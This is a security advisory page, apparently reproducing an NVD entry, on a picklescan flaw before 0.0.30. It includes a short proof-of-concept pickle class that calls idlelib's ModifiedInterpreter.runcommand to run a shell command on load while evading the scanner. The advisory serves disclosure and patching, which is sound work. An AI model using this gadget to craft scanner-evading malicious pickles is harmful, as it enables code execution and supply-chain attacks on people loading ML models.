### Summary Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the...
Full analysis pending. Showing NVD description excerpt.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| picklescan | pip | < 0.0.30 | 0.0.30 |
Do you use picklescan? You're affected.
Severity & Risk
Recommended Action
Patch available
Update picklescan to version 0.0.30
Compliance Impact
Compliance analysis pending. Sign in for full compliance mapping when available.
Technical Details
NVD Description
### Summary Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncommand: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace(executing=False), rpcclt=None, debugger=None ) return ModifiedInterpreter.runcommand, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu